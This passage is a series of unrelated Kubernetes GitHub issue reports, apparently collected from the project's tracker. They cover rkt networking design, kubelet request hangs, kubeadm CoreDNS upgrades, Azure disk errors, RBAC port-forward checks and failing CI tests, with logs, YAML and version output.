/etc/hosts  and so on .  the first issue there is a difficult one to solve and is the main reason that this approach was discarded, whether temporarily or not.  this is probably the only robust long-term solution when considering the large variety of stage1's  and thus network configurations  that are available and, once rkt provides a container-level interface  see https://github.com/coreos/rkt/issues/2375 , there should be a natural way to solve problem number one via the separation of sandbox creation and container creation.     kubelet manages networking  this option has its own problems: 1. does not work with kvm flavor stage1  or any stage1 that does not use linux network namespaces or does not support  --net=host  . 2. depends on availability of nsenter / ip tools  already depended on elsewhere i believe, mostly a nonissue  3. results in the  rkt  cli reporting incorrect network information  this allows fulfilling more of kubelet's assumptions about networking, but does not play nicely with rkt's existing abstractions. it does solve the most problems for the case of the default stage1 and existing rkt featureset while also not being a large amount of code. it also shares significant logic with the docker network setup, with the benefits that entails.     hybrid  the kubelet could decide whether it or rkt should manage the networking based on whether the stage1 suports it. when rkt manages networking, the features dependent on podip being available early on will not work. 1. more code in kubelet to support both methods 2. rkt does not provide an easy means to determine whether one or the other is appropriate currently 3. inconsistent featureset depending on stage1  :frowning:     conclusion  my current preference is to continue with the kubelet-managed network for 1.0  though given the timeline, i'm not sure there's another choice , and rethink this afterwards. if it's possible to support a hybrid approach by 1.0 with the understanding that it's a temporary solution, that also seems reasonable.  ideally, the kubelet's abstractions would not interfere with rkt's ability to manage networking itself since, i admit, the above solution is a bit of a hacky one.  it's also possible that the upcoming container runtime interface changes, with a focus on sandboxes, will require further changes in both the kubelet and rkt that changes what issues are present.  i'd like to gather other's thoughts and make sure we're all on the same page and figure out if there are other options or issues i'm not thinking of.  /cc @yifan-gu @jellonek @pskrzyns @jonboulle @dcbw @iaguis @philips @thockin @freehan

working with  kops  rolling-update i notice that daemonsets may be drained if they are marked as to ignore, but have local storage.  this issue it to write a unit test to determine if this is correct.

we have a setup with a load balancer sitting in front of the apiservers. we noticed that if one of the apiservers goes down, it's possible for the kubelet  or other components  to get stuck trying to talk to the apiserver. in this particular case, the kubelet was trying to send a status update, and because it got stuck, the node controller marked the node notready for about 15 minutes, until presumably the load balancer gave up and closed the connection, allowing another attempt to go through.\r \r i'm guessing this is what happened:\r \r 1. apiserver x goes down\r 1. load balancer is configured to wait n seconds before it takes the backend out of rotation\r 1. kubelet connects to load balancer to set node status update before n seconds have elapsed\r 1. load balancer attempts to proxy the kubelet's request to apiserver x\r 1. kubelet's request hangs:\r \r    \r goroutine 449  select, 3 minutes :\r net/http.  persistconn .roundtrip 0xc421dadb00, 0xc421ab7960, 0x0, 0x0, 0x0 \r         /usr/lib/golang/src/net/http/transport.go:1840 +0x93b\r net/http.  transport .roundtrip 0xc4202b2e10, 0xc4229313b0, 0xa, 0xc420c7bdc0, 0x39 \r         /usr/lib/golang/src/net/http/transport.go:380 +0x4ee\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/transport.  useragentroundtripper .roundtrip 0xc420a99ec0, 0xc4229313b0, 0xc420a99ec0, 0x0, 0x0 \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/transport/round_trippers.go:92 +0x10c\r net/http.send 0xc422930ff0, 0x69bbde0, 0xc420a99ec0, 0x0, 0x0, 0x0, 0x8, 0xc421d705a8, 0x4137c8 \r         /usr/lib/golang/src/net/http/client.go:256 +0x15f\r net/http.  client .send 0xc4204212f0, 0xc422930ff0, 0x0, 0x0, 0x0, 0xc421d705a8, 0x0, 0x1 \r         /usr/lib/golang/src/net/http/client.go:146 +0x102\r net/http.  client .dofollowingredirects 0xc4204212f0, 0xc422930ff0, 0x48b9b68, 0x3, 0x1, 0x0 \r         /usr/lib/golang/src/net/http/client.go:528 +0x5e5\r net/http.  client .do 0xc4204212f0, 0xc422930ff0, 0x0, 0x5d, 0x69a51e0 \r         /usr/lib/golang/src/net/http/client.go:187 +0x11d\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/restclient.  request .request 0xc421a47ba0, 0xc422d07b08, 0x0, 0x0 \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/restclient/request.go:809 +0x24d\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/restclient.  request .do 0xc421a47ba0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/restclient/request.go:870 +0xb7\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/clientset_generated/internalclientset/typed/core/unversioned.  nodes .updatestatus 0xc421d70580, 0xc421600000, 0xc421d70580, 0x0, 0x0 \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/clientset_generated/internalclientset/typed/core/unversioned/node.go:86 +0x13b\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet.  kubelet .tryupdatenodestatus 0xc420c98a00, 0xc421e0eee8, 0x2 \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:366 +0x172\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet.  kubelet .updatenodestatus 0xc420c98a00, 0x4d5570, 0xc421e0ee60 \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:323 +0x48\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet.  kubelet .syncnodestatus 0xc420c98a00 \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:315 +0x4e\r github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet.  kubelet . github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet.syncnodestatus -fm  \r         /builddir/build/build/atomic-openshift-git-0.81b9a4a/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1173 +0x2a\r    \r \r we are working with to try to update the load balancer configuration so it doesn't have to wait for all the various timeouts to expire on all the hops before trying another backend....\r \r however, i wonder if it would make sense to consider setting  responseheadertimeout  in the  http.transport  instances we use so we could short-circuit situations such as this one. @liggitt pointed out that in the past we may have had some operations where the response headers weren't written until the first byte of the response, which could take a while  e.g. container logs, which i think has been fixed . if we decide to set  responseheadertimeout  to something non-zero, we'll need to make sure that all long-running requests write at least something early to avoid timing out waiting for response headers.\r \r wdyt?\r \r cc @kubernetes/sig-api-machinery-misc @kubernetes/sig-node-bugs @smarterclayton @sttts @deads2k @lavalamp @caesarxuchao @dchen1107 @yujuhong @derekwaynecarr @marun @kubernetes/rh-cluster-infra @timothysc @wojtek-t @gmarek @thockin

defaultetcdpathprefix is set to \ /registry/wardle.kubernetes.io\  \r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/sample-apiserver/pkg/cmd/server/start.go l32\r \r but this then results in a path in etcd which looks like:\r \r  /registry/<servername>/registry/<servername>/<groupname>/<kind>/ \r \r when defaultetcdpathprefix is set to  / , we get  /<groupname>/<kind>/ \r \r this is with etcd2.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r in the scenario when i have coredns installed via  kubeadm init  and i want to continue using coredns after  kubeadm upgrade , the upgrade is unsuccessful and it gives an error:\r \r    \r ....\r bootstraptoken  configured rbac rules to allow certificate rotation for all node client certificates in the cluster\r  addons  applied essential addon: coredns\r  addons  applied essential addon: kube-proxy\r  upgrade/postupgrade  fatal post-upgrade error: timed out waiting for the condition\r    \r i suspect this occurs as it times out waiting for the kube-dns deployment, which is non-existent in this scenario.\r \r   what you expected to happen  :\r successfully upgrade kubernetes using  kubeadm upgrade  with no errors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - use  kubeadm init --feature-gates coredns=true  to install coredns.\r - then upgrade using  kubeadm upgrade apply v1.10.0-alpha.1 --feature-gates coredns=true --allow-experimental-upgrades \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

we should keep the admission controllers list in sync:\r \r https://github.com/kubernetes/kubernetes/blob/df2428c6dd30c591444c9bd9b5e8322986da331a/cluster/gce/config-default.sh l301-l302\r \r https://kubernetes.io/docs/admin/admission-controllers/ is-there-a-recommended-set-of-admission-controllers-to-use\r    \r --admission-control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,validatingadmissionwebhook,resourcequota,defaulttolerationseconds,mutatingadmissionwebhook\r    \r \r @lavalamp @caesarxuchao \r

what happened  :   ingress  resourceversion change  make many event  cause etcd  down\r  \r apiversion:\ extensions\ , resourceversion:\ 362943464\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/    \r i0206 12:57:57.300714      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ answer2-task-prod-sz\ , uid:\ c9437e72-019c-11e8-9112-6c92bf6b352c\ , apiversion:\ extensions\ , resourceversion:\ 362943468\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/   \r i0206 12:57:57.300829      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ micro-chace-start-prod\ , uid:\ 43b09dfe-dc29-11e7-9fe8-6c92bf6b3970\ , apiversion:\ extensions\ , resourceversion:\ 362943469\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/    \r i0206 12:57:57.300918      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ submitmeeting-ct-prod-sz\ , uid:\ 54f96838-fe94-11e7-9e09-6c92bf6b3970\ , apiversion:\ extensions\ , resourceversion:\ 362943473\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/    \r i0206 12:57:57.301423      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ answer2-user-service-prod-sz\ , uid:\ 40f5bad9-003f-11e8-9112-6c92bf6b352c\ , apiversion:\ extensions\ , resourceversion:\ 362943474\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/     \r i0206 12:57:57.301565      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ micro-chance-prod\ , uid:\ 8b5d2bea-d41e-11e7-8fe2-6c92bf6b352c\ , apiversion:\ extensions\ , resourceversion:\ 362943475\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/     \r i0206 12:57:57.301635      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ question-master-prod-sz\ , uid:\ 26b5d0f4-00fb-11e8-9112-6c92bf6b352c\ , apiversion:\ extensions\ , resourceversion:\ 362943476\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/question-master-prod-sz\r i0206 12:57:57.301760      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ answer2-question-prod-sz\ , uid:\ 3618a647-00f0-11e8-95a2-6c92bf6b3970\ , apiversion:\ extensions\ , resourceversion:\ 362943477\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/     \r i0206 12:57:57.302251      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ vipserver-prod\ , uid:\ 76fcfbcd-cb90-11e7-b50b-6c92bf6b3970\ , apiversion:\ extensions\ , resourceversion:\ 362943478\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/    \r i0206 12:57:57.302368      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\       \ , uid:\ ee21ca96-0675-11e8-bb01-6c92bf6b3970\ , apiversion:\ extensions\ , resourceversion:\ 362943479\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/     \r i0206 12:57:57.302469      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ micro-task-start-prod\ , uid:\ 15c66199-efab-11e7-9e09-6c92bf6b3970\ , apiversion:\ extensions\ , resourceversion:\ 362943480\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/     \r i0206 12:57:57.302572      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ image-recognition-prod\ , uid:\ 0e05e12f-f5db-11e7-9112-6c92bf6b352c\ , apiversion:\ extensions\ , resourceversion:\ 362943485\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/      \r i0206 12:57:57.304047      62 event.go:218  event v1.objectreference{kind:\ ingress\ , namespace:\ gnucyw\ , name:\ dthb4wxmp-prod-sz\ , uid:\ b047fdf5-0814-11e8-9e22-6c92bf6b268c\ , apiversion:\ extensions\ , resourceversion:\ 362943487\ , fieldpath:\ \ } : type: 'normal' reason: 'update' ingress gnucyw/    \r \r  root@xxxx /home1/system/api-server \r  kubectl get cm  ingress-controller-leader-nginx -n kube-system  -o yaml\r apiversion: v1\r kind: configmap\r metadata:\r   annotations:\r     control-plane.alpha.kubernetes.io/leader: '{\ holderidentity\ :\ ingress-controller-leader-nginx\ ,\ leasedurationseconds\ :30,\ acquiretime\ :\ 2017-10-18t09:57:02z\ ,\ renewtime\ :\ 2018-02-06t05:23:41z\ ,\ leadertransitions\ :0}'\r   creationtimestamp: 2017-10-18t09:57:02z\r   name: ingress-controller-leader-nginx\r   namespace: kube-system\r   resourceversion: \ 363435659\ \r   selflink: /api/v1/namespaces/kube-system/configmaps/ingress-controller-leader-nginx\r   uid: b06cf122-b3ea-11e7-9f5c-6c92bf6b1a70\r \r  root@xxxxx /home1/system/api-server \r  kubectl get cm  ingress-controller-leader-nginx -n kube-system  -o yaml\r apiversion: v1\r kind: configmap\r metadata:\r   annotations:\r     control-plane.alpha.kubernetes.io/leader: '{\ holderidentity\ :\ ingress-controller-leader-nginx\ ,\ leasedurationseconds\ :30,\ acquiretime\ :\ 2017-10-18t09:57:02z\ ,\ renewtime\ :\ 2018-02-06t05:24:38z\ ,\ leadertransitions\ :0}'\r   creationtimestamp: 2017-10-18t09:57:02z\r   name: ingress-controller-leader-nginx\r   namespace: kube-system\r   resourceversion: \ 363448807\ \r   selflink: /api/v1/namespaces/kube-system/configmaps/ingress-controller-leader-nginx\r   uid: b06cf122-b3ea-11e7-9f5c-6c92bf6b1a70\r \r \r \r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-dirty\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ dirty\ , builddate:\ 2018-01-16t08:20:16z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-dirty\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ dirty\ , builddate:\ 2018-01-16t08:20:16z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r 

is this a bug report or feature request?  \r we should stop including the deb for ccm https://github.com/kubernetes/kubernetes/blob/master/build/debs/build l16 as part of kubernetes releases. given we almost always see cloud controller manager run within a container  as recommended . this is consistent with other controllers. \r \r  \r    \r cc @luxas \r

what happened  :\r \r i schedule multiple jobs in my cluster. each job uses a different configmap which contains the configuration for that job.\r \r this worked well on version 1.11 of kubernetes. after upgrading to 1.12 or 1.13, i've noticed that doing this will cause the cluster to significantly slow down; up to the point where nodes are being marked as notready and no new work is being scheduled.\r \r for example, consider a scenario in which i schedule 400 jobs, each with its own configmap, which print \ hello world\  on a single-node cluster would.\r \r on v1.11, it takes about 10 minutes for the cluster to process all jobs. new jobs can be scheduled.\r on v1.12 and v1.13, it takes about 60 minutes for the cluster to process all jobs. after this, no new jobs can be scheduled.\r \r   what you expected to happen  :\r \r i did not expect this scenario to cause my nodes to become unavailable in kubernetes 1.12 and 1.13, and would have expected the behavior which i observe in 1.11.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the easiest way seems to be to schedule, on a single-node cluster, about 300 jobs:\r \r    yaml\r ---\r apiversion: v1\r kind: configmap\r metadata:\r   name: job-%job_id%\r data:\r   just some sample data\r   game.properties: |\r     enemies=aliens\r ---\r apiversion: batch/v1\r kind: job\r metadata:\r   name: job-%job_id%\r spec:\r   template:\r     spec:\r       containers:\r       - name: busybox\r         image: busybox\r         command:   \ /bin/echo\   \r         args:   \ hello, world!\   \r         volumemounts:\r         - name: config-volume\r           mountpath: /etc/config\r       volumes:\r         - name: config-volume\r           configmap:\r             name: job-%job_id%\r       restartpolicy: never\r   backofflimit: 4\r    \r \r i can consistently reproduce this issue in a vm-based environment, which i configure using vagrant. you can find the full setup here: https://github.com/qmfrederik/k8s-job-repro\r \r   anything else we need to know?  :\r \r happy to provide further information as needed\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12 through v1.13\r - cloud provider or hardware configuration: bare metal\r - os  e.g:  cat /etc/os-release  : 18.04.1 lts  bionic beaver \r - kernel  e.g.  uname -a  : linux vagrant 4.15.0-29-generic  31-ubuntu smp tue jul 17 15:39:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

the cluster e2e framework creates a  started.json  file, but node e2e framework doesn't.  i think that may be the root cause of not seeing \ commit hash\  displayed in test-grid for node e2e tests.      {     \ version\ : \ v1.5.0-alpha.1.893+bcdb2185322968\ ,     \ timestamp\ : 1477427259,     \ jenkins-node\ : \ agent-light-14\  }      /cc @dchen1107 @random-liu

https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/admission/v1alpha1/types.go l23:\r    \r import \ k8s.io/apiserver/pkg/admission\ \r    \r \r k8s.io/apiserver uses k8s.io/api everywhere, directly and via client-go.\r \r on the other hand, we have in  hack/staging-import-restrictions.json :\r \r    json\r   {\r     \ baseimportpath\ : \ ./vendor/k8s.io/api/\ ,\r     \ allowedimports\ :  \r       \ k8s.io/api\ ,\r       \ k8s.io/apimachinery\ \r      \r   },\r   {\r     \ baseimportpath\ : \ ./vendor/k8s.io/apiserver/\ ,\r     \ allowedimports\ :  \r       \ k8s.io/api\ ,\r       \ k8s.io/apimachinery\ ,\r       \ k8s.io/apiserver\ ,\r       \ k8s.io/client-go\ ,\r       \ k8s.io/kube-openapi\ \r      \r   },\r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r example message:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:288\r creating { replicationcontroller} load-small-223\r expected error:\r     < errors.errorstring | 0xc421a485e0>: {\r         s: \ error creating replication controller: post https://35.185.119.78/api/v1/namespaces/e2e-tests-load-30-nodepods-1-trc47/replicationcontrollers: read tcp 10.60.151.252:56160->35.185.119.78:443: read: connection reset by peer; some request body already written\ ,\r     }\r     error creating replication controller: post https://35.185.119.78/api/v1/namespaces/e2e-tests-load-30-nodepods-1-trc47/replicationcontrollers: read tcp 10.60.151.252:56160->35.185.119.78:443: read: connection reset by peer; some request body already written\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:540\r    \r \r it happened a few tests, not all of them scalability:\r  - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/191\r  - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-2-test/3501\r  - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/48\r  - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-default-latest-upgrade-cluster/79\r  - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/30\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/25\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/77\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/78\r \r it also happens on the get alone, examples:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/9011\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/9000\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/9127\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/99\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/10054\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/45\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/92\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/93\r \r   what you expected to happen  :\r \r this should be retried at some level.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r if a service has no local endpoints traffic to it's external ip is rejected.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l940-l951\r \r \r   what you expected to happen  :\r i would like to have a choice to either reject the traffic or to let it leave the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r change any service selector such that it does not discover any endpoint.\r observe the iptables rule that actively rejects any traffic to its external ip.\r \r   anything else we need to know?  :\r use case: we are currently using external ip's to announce anycast services.\r as soon as a local service dies we would fall back to any other service still broadcasting, but\r the traffic is rejected.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   still present in master.\r - cloud provider or hardware configuration:\r   on premise, baremetal installation.\r - os  e.g. from /etc/os-release :\r   coreos - stable\r - kernel  e.g.  uname -a  :\r   linux master0.cc.staging.cloud.sap 4.14.16-coreos  1 smp thu feb 1 20:38:35 utc 2018 x86_64 intel r  xeon r  cpu e7- 4870 @ 2.40ghz genuineintel gnu/linux\r - install tools:\r   matchbox\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r there will be azure disk creation issue when specifying an external resource group, after azure disk creation succeeded, it fails to get azure disk state\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r /azure

what happened  :\r \r    \r $ kubectl auth can-i create pods/portforward\r yes\r $ kubectl port-forward http-85ddfcb674-647v6 80:80\r error: error upgrading connection: pods \ http-85ddfcb674-647v6\  is forbidden: user \ david@somers-harris.com\  cannot create pods/portforward in the namespace \ production\ \r    \r \r   what you expected to happen  :\r \r    \r $ kubectl auth can-i create pods/portforward\r no\r $ kubectl port-forward http-85ddfcb674-647v6 80:80\r error: error upgrading connection: pods \ http-85ddfcb674-647v6\  is forbidden: user \ david@somers-harris.com\  cannot create pods/portforward in the namespace \ production\ \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a user without permission to create pods/portforward  but with permission to create pods \r 1. execute the above commands\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-30t21:39:38z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6+coreos.0\ , gitcommit:\ c2aac694c2c7373dfe3ad81f47fc3cbc70a5a8fa\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t21:54:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r tried to resize an azure disk pv and got an error. the azure disk type is shared  so in a storage account  but the error was not that it could not be done, but:\r    \r error expanding volume \ <namespace>/<name>\  of plugin kubernetes.io/azure-disk : invalid disk uri: https://<storage-account>.blob.core.windows.net/vhds/kubernetes-dynamic-pvc-<guid>.vhd\r     \r \r   what you expected to happen  :\r disk to be resized.\r \r   how to reproduce it  as minimally and precisely as possible   :\r in an azure based cluster with vms spun up with docker machine  no specific configuration necessary here, basic will do  create a storage class like below:\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: attached-hdd\r parameters:\r   kind: shared\r   storageaccounttype: standard_lrs\r provisioner: kubernetes.io/azure-disk\r allowvolumeexpansion: true\r reclaimpolicy: delete\r volumebindingmode: immediate\r    \r \r create a something that uses this storage class, then try to resize it.\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t19:44:19z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.6\ , gitcommit:\ b1d75deca493a24a2f87eb1efde1a569e52fc8d9\ , gittreestate:\ clean\ , builddate:\ 2018-12-16t04:30:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux <machine-name> 4.15.0-1036-azure  38~16.04.1-ubuntu smp fri dec 7 03:21:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: docker-machine + rke\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r pull-kubernetes-integration\r \r   which test s  are failing  :\r test-cmd run_kubectl_run_tests\r \r   since when has it been failing  :\r according to triage, the first failure was 2019-02-21 12:00 utc\r \r   testgrid link  :\r https://testgrid.k8s.io/presubmits-kubernetes-blocking pull-kubernetes-integration\r \r   reason for failure  :\r unknown\r \r   anything else we need to know  :\r \r this may be a flake? i can't tell yet.  the testgrid link is not a continuous failure, but it could be that not enough pr's have whatever change is causing the failure\r \r triage link: https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&job=pr%3apull-kubernetes-integration 1f13e06e89eca50e1cd8\r \r it looks like it may be happening in ci as well https://testgrid.k8s.io/sig-release-master-blocking integration-master

this is a grab-bag of issues. 1. api/all=true doesn't change defaults for individual resources; people will expect it to e.g. enable daemonset, but it doesn't. 2. the help text on the cli is confusing. i suggest just making it explicitly list _all_ of the various strings accepted. i suggest further constructing the string representing the default explicitly, and showing it as the default in the cli help. 3. any invalid string should cause a failure to start with a clear message. 4. i think the docs will be more understandable if updated after the above changes.

the golang type aliases can take any value, regardless of what constants are defined for that type.  we currently validate some enum types in the api; this issue is to validate them all.

docker is adding support for user-defined healthchecks as part of dockerfile, and the proposal is at https://github.com/docker/docker/pull/22719. we should think about if we want to support that feature? if yes, how?   cc/ @thockin @bgrant0607 @kubernetes/goog-node @derekwaynecarr

kubernetes version    use  kubectl version  : v.1.3.8    environment  : -   cloud provider or hardware configuration  : n/a  -   os    e.g. from /etc/os-release : n/a -   kernel    e.g.  uname -a  : n/a -   install tools  : n/a  -   others  : n/a     what happened  : trying to build kubernetes 1.3.8 to upgrade our cluster but there's no 1.3.8 hyperkube image in the  gcr.io/google_containers/hyperkube  registry.    what you expected to happen  : hypercube v1.3.8 to be present     how to reproduce it    as minimally and precisely as possible : running  curl -x get https://gcr.io/v2/google_containers/hyperkube/tags/list  shows there is no v1.3.8 hyperkube image in the registry, just a v1.3.8-beta.

